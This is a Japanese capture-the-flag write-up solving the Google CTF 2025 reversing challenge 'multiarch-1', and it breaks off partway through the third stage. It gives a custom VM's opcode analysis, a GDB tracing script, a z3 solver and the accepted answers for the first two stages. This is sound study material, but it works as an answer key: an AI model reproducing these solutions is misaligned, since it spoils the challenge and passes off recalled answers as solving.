Google CTF 2025へ参加しました。そのwrite-up記事です。
IDAの解析結果ファイル.i64を、GitHubで公開しています。
- コンテスト概要
- 環境
- 解けた問題
- 感想
コンテスト概要
2025/06/28(土) 03:00 +09:00 - 06/30(月) 03:00 +09:00の48時間開催でした。その他ルールは(PDF直リンク)Google Capture the Flag 2025 Official Rulesページをご参照ください。
環境
WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。
Windows(ホスト)
c:\>ver Microsoft Windows [Version 10.0.19045.5965] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 kali-linux Stopped 2 docker-desktop Running 2 Ubuntu-22.04 Stopped 2 c:\>
他ソフト
- IDA Version 9.1.250226 Windows x64 (64-bit address size)
WSL2(Ubuntu 24.04)
$ cat /proc/version Linux version 6.6.87.2-microsoft-standard-WSL2 (root@439a258ad544) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04.2 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04.2 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show pip | grep Version: Version: 24.0 $ python3 -m pip show pwntools | grep Version: Version: 4.14.1 $ python3 -m pip show z3-solver | grep Version: Version: 4.8.16.0 $ python3 -m pip show tqdm | grep Version: Version: 4.66.4 $ gdb --version GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. $ gdb --batch --eval-command 'version' | grep 'Pwndbg:' Pwndbg: 2025.05.30 build: 5cff331b $ pwninit --version pwninit 3.3.1
解けた問題
[reversing] multiarch-1 (99 teams solves, 126 points)
Stacks are fun, registers are easy, but why do one when you can do both? Welcome to the multiarch. multiarch-1.2025.ctfcompetition.com 1337
nc接続先がありました。また、配布ファイルとして問題本体のmultiarchやcrackme.masmと、サーバー側プログラムの各種ファイルがありました:
$ file * Dockerfile: ASCII text crackme.masm: data multiarch: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dc495115eb37cb56a37d5ac691cf406d06f185c7, for GNU/Linux 4.4.0, stripped nsjail.cfg: ASCII text runner.py: Python script, ASCII text executable $
後述するように、multiarchバイナリはpwn問題としても使われます。そのためmultiarchのreversingパートを手厚く記述します。なお、GitHubでIDAの解析結果ファイル.i64を公開しています。
解析結果を要約すると、multiarchバイナリは入力ファイルを実行する独自VM内容です。解釈するファイル形式はMASMというmagicこそ使われていますが、Microsoft Macro Assembler (MASM)とは無関係の独自形式のはずです。
VM実行状態とVMメモリマップ、VM命令
バイナリを解析した結果、VM実行状態は次のC構造体で表せることが分かりました:
struct HeapSegment { void *pAllocatedSize0x200; int dwVmAddrBegin; }; struct VmContext { void *pTextSegment_Size0x1000_Rwx; void *pDataSegment_Size0x1000_Rwx; void *pStackSegment_Size0x1000_Rwx; unsigned __int8 *pDataSegment_3_ForInstructionIsStackOrReg; __int64 qwSize_Segment3_StackOrRegBits; const char *(*fpGetFlagFromEnvironmentVariable)(void); bool bExecutionFailed; bool bCanUseSyscall6_WhenRegInst; ///< StackInstだとこのフラグは無視できる unsigned __int8 dwStatusFlag_0ZF_1OF_2Something; unsigned int dwPC_Initial0x1000; unsigned int dwSP_Initial0x8F00; unsigned int dwRegisterAbcdArraySize4[4]; ///< [0]: Aレジスタ ///< [1]: Bレジスタ ///< [2]: Cレジスタ ///< [3]: Dレジスタ HeapSegment heapSegmentArray_Size5[5]; ///< ものすごく怪しい。revでは未使用。pwn用途のはず。 unsigned __int8 byteHeapSegmentCount; };
VM中の仮想アドレスは32-bit整数で扱います。メモリマップは次のとおりです:
0x1000-0x2000: textセグメント相当(なおRWX)、PC初期値が0x10000x2000-0x3000: dataセグメント相当(なおRWX)0x8000-0x9000: stackセグメント相当(なおRWX)、SP初期値が0x8F00- それ以外: 独自syscall 6で動的確保
問題文にある通りVM命令の特徴として、Stack MachineのようなVM命令とRegister MachineのようなVM命令を混在できる点があります。それぞれの命令は、バイナリ中の文字列ではStackVM instruction、RegVM instructionと表現されます。どちらの命令種類であるかは入力ファイル中の別のビット列で区別されるため、2つのVM命令種類でopcodeが重複する場合があります。
StackVM instruction
StackVM instructionのVM命令では、命令長は「1バイトopcode, 4バイトoperand」の合計5バイトで固定です。つまり分かりやすく解析しやすいです。また、オペランドの範囲チェック時のエラーメッセージで、しばしば想定opcode名が現れます。
multiarchバイナリの0x1A56の関数で、StackVM instructionをパースおよび実行します。opcodeの解析時のメモです:
0x10:push8(operand)。オペランドは[0x00,0xFF]必須。SP-=1。エラー文字列によるとS.LDB命令。0x20:push16(operand)。オペランドは[0x00,0xFFFF]必須。SP-=2。エラー文字列によるとS.LDW命令。(pop16が無い気がする←0x1718に関数は存在するけれど未使用)0x30:push32(operand)。SP-=4;0x40:push32(memory[operand])。SP-=4。エラー文字列によるとS.LDP命令。0x50:pop32。pop結果は使わず破棄。SP+=40x60:add。push(pop32() + pop32());内容です。オペランドは使いません。以下3命令も同様です。0x61:sub0x62:xor0x63:bit_and (&)0x70:goto operand;0x71:if (ZF) goto operand;0x72:if (!ZF) goto operand;0x80:cmp。VM実行状態に(ZF, OF, 何か)フラグを設定。0xA0: 独自syscall。一見すると「0x1798での検証があるように、Regieter Aの下位1バイトが独自syscall number」に見えますが、実際は0x1798のチェック後に0x1E58でのpop8結果をsyscall番号と再解釈しています。つまり0x1798での独自sycall 6のチェックを迂回できます。0:scanf("%u", &value); push32(value);1:[E] unsupported syscall!2:vmAddr=pop32(); size=pop8(); fwrite(&memory[vmAddr], 1, size, stdout);3:srand(pop32());4:value = rand()&0xFF; value|=rand()<<16; push32(value);5: 環境変数FLAG内容を出力。6:desiredVmAddr=pop32(); `calloc(0x200, 1)`してVMメモリマップへ反映; push32(確保結果のvmAddr);
0xFF: オペランドは0xFFFFFFFF必須。VM中で無限ループ。エラー文字列によるとS.HLT命令。
RegVM instruction
RegVM instructionのVM命令は、1バイトopcode、可変長operandの構成です。x86のmov [rax], rbxやmov rax, [rbx]じみた命令もあるようで、1バイトのRegister種類オペランドや4バイトの即値オペランドを取ったり、Load/Storeを行ったりします。詳細は未解析です。
いくつかの命令では、32-bitレジスタ4個を1つの配列かのように扱います:
REG[0]:= RegisterAREG[1]:= RegisterBREG[2]:= RegisterCREG[3]:= RegisterD
opcodeの解析時メモです:
0x00: 正常なVM実行終了。0x01: 独自syscall。Regieter Aの下位1バイトが独自syscall number。0:scanf("%u", RegisterA);1:input(memory[RegisterB : registerB+registerC])←fgetcループ。改行が終端。2:fwrite(&memory[RegisterB], 1, RegisterC, stdout);3:srand(registerB);4:value = rand()&0xFF; value|=rand()<<16; regiterA=value;5:[E] unsupported syscall!」6:desiredVmAddr=RegisterB; `calloc(0x200, 1)`してVMメモリマップへ反映; RegisterA=確保結果のvmAddr;- ただし、
0x1798での独自syscall実行可否判断時に、VM実行状態の特定フラグがONである必要があります。 - そのフラグは
0x174Aの関数で[D] executing as system nowとしてフラグONに、0x1771の関数で[D] executing as user nowとしてフラグOFFになります。しかしどちらの関数も未使用です。 - そのため実質RegVM instructionからは本独自syscallを使えません。
- ただし、
0x10: オペランド4バイト。push32(operand);0x11:push32(RegisterA);0x12:push32(RegisterB);0x13:push32(RegisterC);0x14:push32(RegisterD);0x15:RegisterA=pop32();0x16:RegisterB=pop32();0x17:RegisterC=pop32();0x18:RegisterD=pop32();0x20: オペランド1バイト。REG[((operand>>4)-1)&3] += REG[(operand-1)&3];0x21: オペランド1+4バイト。REG[(operand8>>4)-1] += operand32;0x30: オペランド1バイト。REG[((operand>>4)-1)&3] -= REG[(operand-1)&3];0x31: オペランド1+4バイト。if ((operand8>>4)-1 < 3u) {REG[(operand8>>4)-1] -= operand32;}else {SP -= operand32;}。珍しくSP操作もある。
0x40: オペランド1バイト。REG[((operand>>4)-1)&3] ^= REG[(operand-1)&3];0x41: オペランド1+4バイト。VM実行状態中アドレスをoperand1で指定する領域 ^= operand32;← Pwn視点で怪しい!!!0x50: オペランド1バイト。mul = REG[((operand>>4)-1)] * REG[(operand-&0xFF)&01]; RegisterA=mul&0xFFFFFFFF; RegisterD=(mul>>16)0x51: オペランド1+4バイト。mul = REG[((operand>>4)+3)&3] * operand32; RegisterA=mul&0xFFFFFFFF; RegisterD=(mul>>16);0x60: オペランド4バイト。実質call。push32(PC+4); goto operand;0x61: オペランド1バイト。実質retn depth。SP += 4*operand。PC=pop32();0x62: オペランド4バイト。実質jz。if (ZF!=0) {goto operand;}0x63: オペランド4バイト。実質jnz。if (ZF==0) {goto operand;}0x64: オペランド4バイト。実質joのはず。if(OF!=0) {goto operand;}0x68: オペランド4バイト。実質goto。goto operand。0x70~0x7F:CMP(REG[(opcode>>2)&3], REG[opecode&3]);0x80~0x8F: operand4バイト。CMP(REG[opcode&3]; operand);0xA0~0xAF: 詳細不明。x86のmovのようなSTORE/LOAD系統?0xA1: operand 1+4バイト。0xda, 0x5630477cならRegisterD=0x5630477c。
(0xB0~0xBF): (明確な分岐は見つかっていませんが、間に隙間があるのは変なのでどこかでカバーされているかも ← 本当に無いかも?)0xC0~0xFF: 詳細不明。x86のmovのようなSTORE/LOAD系統の模様。0xC1: オペランドなし。RegisterA=RegisterB;0xC5: オペランド4バイト。RegisterA=operand;0xC8: オペランドなし。RegisterB=RegisterA;0xCD: オペランド4バイト。RegisterB=operand;0xCE: オペランドなし。メモリ操作なし、RegisterB=0x00008ee0?これは一体?0xD0: オペランドなし。RegisterC=RegisterA;0xD5: オペランド4バイト。RegisterC=operand;
(0xE0~0xFF): (未使用?それとも本当に無い?)
Docker環境で使用するglibcファイル確保と、pwninitでのバイナリパッチ
上述の通り、C標準ライブラリのsrand関数やrand関数を使う処理があります。手元での動作検証環境とnc接続先のリモート環境でsrand関数やrand関数の挙動が違ったら悲しいので、リモート環境で使われているglibcが欲しいです。
本問題ではDockerfileが与えられているので、リモート環境でも当該Dockerコンテナが起動している可能性が高いです。そのためローカル環境でコンテナをビルドして、その中からglibc用ファイルを持ってくることにしました。
注意点として本問題のDockerfile内容は、次のようにマルチステージビルド構成です:
# 前略 FROM ubuntu:24.04 as chroot RUN apt-get -qq update && apt-get install -qq -y python3 COPY flag / COPY multiarch /home/user/ COPY crackme.masm /home/user/ COPY runner.py /home/user/ RUN chmod +x /home/user/multiarch FROM gcr.io/kctf-docker/challenge@sha256:9f15314c26bd681a043557c9f136e7823414e9e662c08dde54d14a6bfd0b619f COPY --from=chroot / /chroot COPY nsjail.cfg /home/user/ CMD kctf_setup && \ kctf_drop_privs \ socat \ TCP-LISTEN:1337,reuseaddr,fork \ EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /usr/bin/python3 /home/user/runner.py"
このうち、1つ目のchrootステージでは真っ当に動作環境の作成を、2つ目のgcr.io/kctf-docker/challengeはjail環境(=サンドボックス環境)を作成しています。今回のmultiarchバイナリが使用するglibcは1つ目のchrootステージ側のものであるため、そちらを取得する必要があります。2つ目のステージでCOPY --from=chroot / /chrootをしているため、最終的なDockerコンテナでは/chroot/TODO以下をコピーしてくる必要があることに注意してください。
具体的には次の手順でDockerコンテナ中のglibcファイルを取得しました:
docker build -t mytest .でDockerイメージをビルドdocker run --rm -it mytest bashでDockerコンテナを起動しつつ、シェルを起動- Dockerコンテナ内部のシェルで
chroot /chrootを実行して、COPY --from=chroot / /chrootでコピーされた1つ目のステージ内部のファイルシステムが分かるように変更。 - 引き続きDockerコンテナ内部のシェルで
ldd /home/user/multiarchを実行して、chroot後の状態でlibc.so.6 => /lib/x86_64-linux-gnu/libc.so.6であることを確認。 - Dockerホスト側の別シェルで
docker cp <DockerコンテナのID>:/chroot/lib/x86_64-linux-gnu/libc.so.6 .を実行して、Dockerコンテナ内部のglibcバイナリであるlibc.so.6をDockerホスト側へコピー。
その後、pwninitを実行して、コピーしたlibc.so.6を使うようにパッチされたmultiarch_patchedを生成しました。
crackme.masmファイル解析
multiarchバイナリをあらかた解析し終わった後に、こう思いました。「RevVM instructionがややこしいので、MASM形式の逆アセンブルは自分では書きたくない!」と。そういうわけでcrackme.masmファイルの内容解析は、gdbでのデバッグ実行と、ブレークポイント等を利用したトレース出力で行う方針にしました。crackme.masmファイルは次のように小さい内容であるため、トレース出力で十分まかなえると判断しました:
$ xxd crackme.masm 00000000: 4d41 534d 0113 0065 0102 7801 5001 03c8 MASM...e..x.P... 00000010: 022d 0010 4b00 0000 3000 2000 0010 0200 .-..K...0. ..... 00000020: 0000 a000 0000 0010 2b00 0000 30ad 2000 ........+...0. . 00000030: 0010 0200 0000 a000 0000 0010 0000 0000 ................ 00000040: a000 0000 0020 3713 0000 2039 0500 0030 ..... 7... 9...0 00000050: 0953 6708 6200 0000 0060 0000 0000 30aa .Sg.b....`....0. 00000060: aaaa aa80 0000 0000 720b 1100 00c5 0200 ........r....... 00000070: 0000 cdd8 2000 00d5 1e00 0000 0131 5020 .... ........1P 00000080: 0000 00ce 12d5 2000 0000 c501 0000 0001 ...... ......... 00000090: 15cd 2000 0000 601c 1100 0080 3173 0000 .. ...`.....1s.. 000000a0: 630b 1100 00c5 0000 0000 105a 0000 0030 c..........Z...0 000000b0: f620 0000 1002 0000 00a0 0000 0000 01c8 . .............. 000000c0: c503 0000 0001 d500 0000 0060 4511 0000 ...........`E... 000000d0: 10ff ffff 0011 6300 0000 0030 eeff c000 ......c....0.... 000000e0: 8000 0000 0071 ec10 0000 2130 0100 0000 .....q....!0.... 000000f0: 820a 0000 0062 0b11 0000 68b8 1000 00d5 .....b....h..... 00000100: 3900 0000 cd74 2000 00c5 0200 0000 0110 9....t ......... 00000110: 0500 0000 a000 0000 0070 1b11 0000 d529 .........p.....) 00000120: 0000 00cd 4b20 0000 c502 0000 0001 00d0 ....K .......... 00000130: 2012 11cd 0000 0000 a1da 5140 beba feca .........Q@.... 00000140: 4024 1511 7262 4211 0000 2130 0400 0000 @$..rbB...!0.... 00000150: 6825 1100 00c1 6101 c500 3713 0010 0400 h%....a...7..... 00000160: 0000 a000 0000 0016 4012 1130 f2f2 f2f2 ........@..0.... 00000170: 6200 0000 0015 6100 5765 6c63 6f6d 6520 b.....a.Welcome 00000180: 746f 2074 6865 206d 756c 7469 6172 6368 to the multiarch 00000190: 206f 6620 6d61 646e 6573 7321 204c 6574 of madness! Let 000001a0: 2773 2073 6565 2068 6f77 2077 656c 6c20 's see how well 000001b0: 796f 7520 756e 6465 7273 7461 6e64 2069 you understand i 000001c0: 742e 0a53 6565 6d73 206c 696b 6520 796f t..Seems like yo 000001d0: 7520 6861 7665 2073 6f6d 6520 6c65 6172 u have some lear 000001e0: 6e69 6e67 2074 6f20 646f 210a 436f 6e67 ning to do!.Cong 000001f0: 7261 7473 2120 596f 7520 6172 6520 7468 rats! You are th 00000200: 6520 536f 7263 6572 6572 2053 7570 7265 e Sorcerer Supre 00000210: 6d65 206f 6620 7468 6520 6d75 6c74 6961 me of the multia 00000220: 7263 6821 0a43 6861 6c6c 656e 6765 2031 rch!.Challenge 1 00000230: 202d 2057 6861 7427 7320 796f 7572 2066 - What's your f 00000240: 6176 6f72 6974 6520 6e75 6d62 6572 3f20 avorite number? 00000250: 4368 616c 6c65 6e67 6520 3220 2d20 5465 Challenge 2 - Te 00000260: 6c6c 206d 6520 6120 6a6f 6b65 3a20 4368 ll me a joke: Ch 00000270: 616c 6c65 6e67 6520 3320 2d20 416c 6d6f allenge 3 - Almo 00000280: 7374 2074 6865 7265 2120 4275 7420 6361 st there! But ca 00000290: 6e20 796f 7520 7072 6564 6963 7420 7468 n you predict th 000002a0: 6520 6675 7475 7265 3f0a 5768 6174 206e e future?.What n 000002b0: 756d 6265 7220 616d 2049 2074 6869 6e6b umber am I think 000002c0: 696e 6720 6f66 3f20 0000 0000 0000 0000 ing of? ........ 000002d0: 0000 0084 1006 8770 0821 0400 0038 0c21 .......p.!...8.! 000002e0: 0400 8020 8410 4208 0008 21bc a1a0 8720 ... ..B...!.... 000002f0: 2c00 b000 0c ,....
トレース出力用のPython製GDB Script
色々解釈しながら、実行するVM命令種類やVM状態中の各種レジスタ内容をトレース出力するようにしました:
- StackVM instruction実行時のopcode, operand
- RegVM instruction実行時のopcode, 4個のレジスタ内容
- 独自syscall実行時の独自syscall number
- CMP命令実行時の両オペランドの値
- VM中メモリのRead/Write実行時のVM中アドレスと内容
PIEバイナリなので、pwndbgのpieコマンドでRVAからVAへ変換してdprintfコマンドを使って、小労力でトレース出力を実装しました。Read/Writeは試行錯誤の果てに複雑になっていますが、おそらくdprintfでうまくできると思います。
トレース実行をする最終的なPythonスクリプト内容です:
#!/usr/bin/env python3 # Usage: gdb -q -x ./test-gdb.py multiarch_patched # pwndbgの機能(pieコマンド)を使用しています。 import typing import gdb MASM_FILE_NAME = "exploit.masm" # rev用の名残。pwnでは入力を使わないはず。 # with open(MASM_FILE_NAME, "w") as f: # inputs = [ # "2405061754", # "|G0V|BeM1W2fZJgI2q{=FVrYzeM~UQP", # "2688102", # ] # for line in inputs: # f.write(line) # f.write("\n") gdb.execute("set python print-stack full") # デバッグに便利とコンテスト後に知りました gdb.execute("set show-tips off") def rva_to_va(rva: int): addr_absolute = int( gdb.execute(f"pie {hex(rva)}", to_string=True).split(" = ")[1], 0 ) print(f"{addr_absolute = :08x}") return addr_absolute def set_dprintf(rva: int, format_etc: str): addr = rva_to_va(rva) command = f"""dprintf *{hex(addr)}, {format_etc}""" print(command) gdb.execute(command) class DumpBreakPoint(gdb.Breakpoint): def __init__( self, spec, mode: typing.Literal["write"] | typing.Literal["read"], bits: typing.Literal[8] | typing.Literal[16] | typing.Literal[32], ): super(DumpBreakPoint, self).__init__(spec, internal=False) self._mode = mode self._bits = bits def stop(self): if self._mode == "write": addr = gdb.parse_and_eval("$rsi") value = gdb.parse_and_eval("$edx") match self._bits: case 8: value &= 0xFF case 16: value &= 0xFFFF case 32: value &= 0xFFFFFFFF case _: raise Exception() print(f" Write{self._bits}(0x{int(addr):08x}, 0x{int(value):08x})") else: # memcpy箇所です。 vm_addr = gdb.parse_and_eval("$r15d") bits = int(gdb.parse_and_eval("$rbx")) & 0xFF match bits * 8: case 8: value = f"0x{int(gdb.parse_and_eval('{unsigned char}($rsi)')):02x}" case 16: value = f"0x{int(gdb.parse_and_eval('{unsigned short}($rsi)')):04x}" case 32: value = f"0x{int(gdb.parse_and_eval('{unsigned int}($rsi)')):08x}" case _: return False # 別の所らしい。 print(f" Read{bits * 8}(0x{int(vm_addr):08x}) => {value}") return False # Continue execution (equivalent to `silent` in GDB) gdb.execute(f"starti {MASM_FILE_NAME}") # pwn関連用 set_dprintf(0x1333, r""" "!!!!VmContext Addr: %016x\n", $rax""") set_dprintf( 0x273E, r""" "!!!!AddrToXor: %016x, current: %08x, xored: %08x\n", ($rbx+$rax*4+0x0B), {unsigned int}($rbx+$rax*4+0x0B), $edx""", ) # gdb.execute("breakrva *0x273E") if True: # Rev用ブレークポイント。 # 実質的にはこれが一番重要になるはず。 set_dprintf(0x1A3B, r""" "CMP: Value2: 0x%08x, Value1: 0x%08x\n", $esi, $edx""") # syscall確認。 set_dprintf(0x1E78, r""" "syscall(StackInst): %d\n", $rax""") set_dprintf(0x2393, r""" "syscall(RegInst ): %d\n", $rax""") # Stack側色々 set_dprintf( 0x1A87, r""" "StackInst: opcode: %02x, operand: 0x%08x\n", {unsigned char}($rsp+0x38-0x25), {unsigned int}($rsp+0x38-0x24)""", ) # Reg側 set_dprintf( 0x2092, r""" "RegInst: BEFORE Regs: [0x%08x, 0x%08x, 0x%08x, 0x%08x], opcode: %02x\n", {unsigned int}($rbx+0x3B+0), {unsigned int}($rbx+0x3B+4), {unsigned int}($rbx+0x3B+8), {unsigned int}($rbx+0x3B+12), $r12""", ) # Read側が.stop()では面倒くさいので一部の場所で頑張ることになりました。opcode読み込みでもRead箇所にヒットするので、実行ログが少し読みづらくなります。 DumpBreakPoint(f"*{hex(rva_to_va(0x1598))}", "read", 32) DumpBreakPoint(f"*{hex(rva_to_va(0x1659))}", "write", 32) DumpBreakPoint(f"*{hex(rva_to_va(0x1675))}", "write", 16) DumpBreakPoint(f"*{hex(rva_to_va(0x1692))}", "write", 8) gdb.execute("continue") gdb.execute("quit") print("END") exit(0)
開発中にハマった点です:
- Read命令のトレースには、最初は「Read系関数の先頭にブレークポイントを貼る、ブレーク時に書き込み先アドレスを保持、
finishコマンドで関数終了まで実行してから書き込み結果確認」をしようとしていました。しかしgdb.Breakpointを継承した自作型のstopメソッドでgdb.execute("until memcpy")等を試すとCannot execute this command while the selected thread is running例外が発生しました。- Breakpoints In Python (Debugging with GDB)によると
You should not alter the execution state of the inferior (i.e., step, next, etc.), alter the current frame context (i.e., change the current active frame), or alter, add or delete any breakpoint. As a general rule, you should not alter any data within GDB or the inferior at this time.とのことです。かなり制約が強いです……。 - 仕方がないので、最終的に
memcpy呼び出し箇所にブレークポイントを設定して頑張る方針にしました。
- Breakpoints In Python (Debugging with GDB)によると
- スクリプト内部で例外が発生しても、初期状態では例外メッセージのみが表示されてスタックトレースが表示されないため、デバッグに苦労しました。
- コンテスト終了後に色々調べていると、Python Commands (Debugging with GDB)で
set python print-stack fullコマンドを知りました。便利そうです。せっかくなので上記スクリプト先頭に追加しています。
- コンテスト終了後に色々調べていると、Python Commands (Debugging with GDB)で
- もしかしたら、
gdb -x用のスクリプトではなく、「スクリプト→pwntools等→gdb→debuggee」の流れで制御するほうが楽かもしれません(実は以前はその方法でgdbを自動操作していました)。
crackme.masm 1段階目
ここからは、実際にcrackme.masm内容を実行しつつ、実行内容をトレース出力して解析しました。なおcrackme.masmファイルのHexDump結果の文字列から想像できるように、3段階構成になっています。
1段階目の、当時のトレース出力状況です:
Challenge 1 - What's your favorite number? StackInst: opcode: 10, operand: 0x00000000 StackInst: opcode: a0, operand: 0x00000000 syscall(StackInst): 0 42 StackInst: opcode: 20, operand: 0x00001337 StackInst: opcode: 20, operand: 0x00000539 StackInst: opcode: 30, operand: 0x08675309 StackInst: opcode: 62, operand: 0x00000000 StackInst: opcode: 60, operand: 0x00000000 StackInst: opcode: 30, operand: 0xaaaaaaaa StackInst: opcode: 80, operand: 0x00000000 CMP: Value2: 0xaaaaaaaa, Value1: 0x1b50565a
1段階目はStackVM instructionのみで構成されています。また、独自system call 0は、32-bit整数を読み込みます。
例えば入力に42を与えた場合、最終的に0xaaaaaaaaと0x1b50565aを比較しています。opcodeの対応を調べると、(0x13370539 ^ 0x08675309) + 入力値 == 0xaaaaaaaaであるかを検証していることが分かります。
そのため0xaaaaaaaa - (0x13370539 ^ 0x08675309)の結果である、10進数表記で2405061754を入力すれば1段階目を突破できます。
crackme.masm 2段階目
2段階目は文字列を入力する内容です。また、2段階目はRegVM instructionのみで構成されています。当時のトレース出力内容と、手で補ったメモです:
:最大32文字入力後 opcode: 15 : A=POP ← 0x00008ee0 opcode: cd : B=0x00000020 opcode: 60 : call opcode: d0 : ← C=A opcode: 20 : REG[((operand>>4)-1)&3] += REG[(operand-1)&3] ← A=0x00008f00 opcode: 11 : PUSH32(A) opcode: cd : B=0 :loop_begin opcode: a1 : D=[C]、入力内容を4文字ごとに取得するはず。 opcode: 51 : (D; A) = MUL(REG[some], operand)。おそらく 「D * 0xcafebabe」 opcode: 40 : XOR。 B ^= D のはず。 opcode: 15 : A = POP() ; 0x00008f00復元用らしい。ループ最後判定用。 opcode: 11 : push(A) # ループ判定終了判定 opcode: 72 : CMP。多分AとCを比較。Aが終端、Cが現在。 opcode: 62 : jz loop_after opcode: 21 : C+=4らしい。 opcode: 68 : goto :loop_begin :loop_after opcode: c1 : mov系。 A = Bらしい。 opcode: 61 : retn opcode: 80 : CMP。 A == 0x00007331 判定。
入力文字列を4バイトずつ使って、Bレジスタの内容を加工し、最終的な値が0x00007331になっていれば突破できます。z3-solverライブラリを使って解きました:
#!/usr/bin/env python3 import z3 solver = z3.Solver() flag = [z3.BitVec(f"flag_{i:02d}", 8) for i in range(32)] for i, f in enumerate(flag): if i == 31: solver.add(f == 0) else: solver.add(f >= 0x30) solver.add(f < 0x7F) current = 0 for i in range(8): tmp = 0 for j in range(4): f = z3.ZeroExt(32, flag[i * 4 + j]) tmp |= f << (8 * j) tmp = z3.ZeroExt(128, tmp) # z3でのUnsigned Mulが分からなかったので過剰に拡張 tmp *= 0xCAFEBABE current ^= (tmp >> 32) & 0xFFFF_FFFF solver.add(current == 0x00007331) assert solver.check() == z3.sat model = solver.model() print(model) print("".join(chr(model[f].as_long()) for f in flag).strip("\x00")) # type: ignore
実行すると、解の1つとして|G0V|BeM1W2fZJgI2q{=FVrYzeM~UQPを得られました。
crackme.masm 3段階目
3段階目は再び32-bit整数を入力する内容です。また、3段階目はStack instructionとRegVM instructionが混在しています。当時のトレース出力内容へ手動でメモを追加したものです:
# 入力に0xdeadbeefな「3735928559」を与えている、RegisterAに入る。 Read8(0x000010ab) => 0x01 RegInst: BEFORE Regs: [0x00000000, 0x00007331, 0x00008f00, 0x00000000], opcode: 01 syscall(RegInst ): 0 Read8(0x000010ac) => 0xc8 RegInst: BEFORE Regs: [0xdeadbeef, 0x00007331, 0x00008f00, 0x00000000], opcode: c8 :: 多分B=A Read8(0x000010ad) => 0xc5 RegInst: BEFORE Regs: [0xdeadbeef, 0xdeadbeef, 0x00008f00, 0x00000000], opcode: c5 :: A=3? Read32(0x000010ae) => 0x00000003 Read8(0x000010b2) => 0x01 RegInst: BEFORE Regs: [0x00000003, 0xdeadbeef, 0x00008f00, 0x00000000], opcode: 01 :: srand(入力内容) syscall(RegInst ): 3 Read8(0x000010b3) => 0xd5 RegInst: BEFORE Regs: [0x00000003, 0xdeadbeef, 0x00008f00, 0x00000000], opcode: d5 :: C=0 Read32(0x000010b4) => 0x00000000 Read8(0x000010b8) => 0x60 RegInst: BEFORE Regs: [0x00000003, 0xdeadbeef, 0x00000000, 0x00000000], opcode: 60 :: CALL Read32(0x000010b9) => 0x00001145 Write32(0x00008edc, 0x000010bd) #### CALL先 #### Read8(0x00001145) => 0xc5 RegInst: BEFORE Regs: [0x00000003, 0xdeadbeef, 0x00000000, 0x00000000], opcode: c5 :: A=0x00133700(2回目以降どうだろう) Read32(0x00001146) => 0x00133700 StackInst: opcode: 10, operand: 0x00000004 :: push 4 Write8(0x00008edb, 0x00000004) StackInst: opcode: a0, operand: 0x00000000 :: syscall(Rand!!!!!!!!) Read8(0x00008edb) => 0x04 syscall(StackInst): 4 Write32(0x00008ed8, 0x8b3267e1) Read8(0x00001154) => 0x16 RegInst: BEFORE Regs: [0x00133700, 0xdeadbeef, 0x00000000, 0x00000000], opcode: 16 :: B=(rand()2回結果のアレ) Read32(0x00008ed8) => 0x8b3267e1 Read8(0x00001155) => 0x40 RegInst: BEFORE Regs: [0x00133700, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 40 :: A^=B Read8(0x00001156) => 0x12 Read8(0x00001157) => 0x11 RegInst: BEFORE Regs: [0x8b2150e1, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 11 :: Push(A) Write32(0x00008ed8, 0x8b2150e1) StackInst: opcode: 30, operand: 0xf2f2f2f2 :: push(0xf2f2f2f2) Write32(0x00008ed4, 0xf2f2f2f2) StackInst: opcode: 62, operand: 0x00000000 :: 実質 A ^= 0xf2f2f2f2 Read32(0x00008ed4) => 0xf2f2f2f2 Read32(0x00008ed8) => 0x8b2150e1 Write32(0x00008ed8, 0x79d3a213) Read8(0x00001162) => 0x15 RegInst: BEFORE Regs: [0x8b2150e1, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 15 :: A=pop();全体としてA^=0xf2f2f2f2 Read32(0x00008ed8) => 0x79d3a213 Read8(0x00001163) => 0x61 RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 61 :: RET Read8(0x00001164) => 0x00 Read32(0x00008edc) => 0x000010bd #### RET後 #### Read8(0x000010bd) => 0x10 RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 10 :: push(0x00ffffff) Read32(0x000010be) => 0x00ffffff Write32(0x00008edc, 0x00ffffff) Read8(0x000010c2) => 0x11 RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 11 :: push(A) Write32(0x00008ed8, 0x79d3a213) StackInst: opcode: 63, operand: 0x00000000 :: BIT_AND Read32(0x00008ed8) => 0x79d3a213 Read32(0x00008edc) => 0x00ffffff Write32(0x00008edc, 0x00d3a213) StackInst: opcode: 30, operand: 0x00c0ffee :: PUSH(0x00c0ffee) Write32(0x00008ed8, 0x00c0ffee) StackInst: opcode: 80, operand: 0x00000000 :: POP, POP, CMP。実質「A&0x00FFFFFF == 0x00c0ffee」 Read32(0x00008ed8) => 0x00c0ffee Read32(0x00008edc) => 0x00d3a213 CMP: Value2: 0x00c0ffee, Value1: 0x00d3a213 StackInst: opcode: 71, operand: 0x000010ec # どっかで一致すれば良さそう? Read8(0x000010d7) => 0x21 RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000000, 